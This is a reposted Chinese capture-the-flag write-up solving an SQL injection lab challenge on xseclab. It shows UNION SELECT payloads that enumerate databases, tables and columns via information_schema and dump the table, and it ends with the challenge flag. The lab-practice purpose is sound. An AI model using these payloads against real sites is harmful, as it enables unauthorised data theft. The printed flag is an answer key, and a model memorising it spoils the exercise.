[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)

题目链接:

题目索引第二关

分析:

  1. 打开链接 , 如下图所示 :

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

  1. 查看源码发现如下图 :

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

  1. 尝试发送GET请求 :
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

发现内容还是和第一次进入的时候相同 , 说明第一次进入的时候默认参数为 : id = 1

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=2

![Paste_Image.png](http://upload-images.jianshu.io/upload_images/2355077-f6138563cfe2bfd1.png? imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=3

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=4

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

发现当id = 4的时候内容为空了 , 说明可能这个表里面只有三行数据 , 但是在当 id = 3 的时候 , 文章内容为 : “flag就在这个表里” 说明这个表中的数据肯定不止三行 , 所以可以考虑写一个爬虫来遍历 id , 不过这样也就违背了这道题的初衷 , 而且 , 猜测出题人为了防止爬取 , 会把 flag 的 id 设置的很大 (注入成功后也证实了这一点)

  1. 常规的套路 , 在URL中加 ‘ 破坏SQL语句的完整性
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%27

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

报错了 , 说明我们的思路还是正确的 , 我们可以猜测这道题的PHP代码大概应该是这样的 :

$sql = "select * from 表名 where id = '".$_GET['id']."'";
mysql_query($sql);
  1. 再试试添加注释 , 将SQL语句后面的无用的部分注释掉
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%27--+

发现还是报错 , 去掉 id=1 后面的 ‘ , 成功了 , 说明我们刚才猜测的SQL语句还是有点问题 , id 这个变量并没有被单引号括起来 , 就是没有经过任何修饰传入

  1. 现在正式开始利用 :
  • 猜测列数 :
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%2010--+
报错 , 说明列数小于10
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%205--+
报错 , 说明列数小于10
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%203--+
正常 , 说明列数大于等于3
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%204--+
报错 , 说明列数小于4
  • 猜测被 echo 出来数据是表的哪一列 , 以便以后猜测 : 库名 / 表名 / 字段
?id=-1 union select group_concat(SCHEMA_NAME),2,3 from information_schema.SCHEMATA--+
说明第一列数据并没有被显示出来
![Paste_Image.png](http://upload-images.jianshu.io/upload_images/2355077-bd40592183920671.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
?id=-1 union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA--+
说明第二列可以被显示出来

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
说明第三列也可以被显示出来 , 猜测表结构应该是 : id , title , content

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

  • 猜测 mydbs 库中的所有表名 :
?id=-1 union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA = 'mydbs'--+
说明有 sae_user_sqli3 这个表 , 这个表名也和题目名称 SQLi3_article 相互吻合

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

  • 继续猜测这个表中的字段 :
?id=-1 union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_NAME = 'sae_user_sqli3'--+
发现结果也和我们之前预料的差不多

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

  • 继续获取数据 :
?id=-1 union select 1,group_concat(content),3 from sae_user_sqli3--+
得到的结果也可以说明 : 这个表中的数据不止 3 行 , 成功拿到Flag , 我们在来看看Flag这一行的 id 是多少 ? 

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

id = 12999 , 这个要是写爬虫跑也得跑好长时间呢 , 还是注入实在

《[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)》 Paste_Image.png

答案:
HKGGflagdfs56757fsdv

知识点:

  1. SQL注入
  2. SQL语句
  3. PHP常识
    原文作者:王一航
    原文地址: https://www.jianshu.com/p/0343eb7d1c91
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞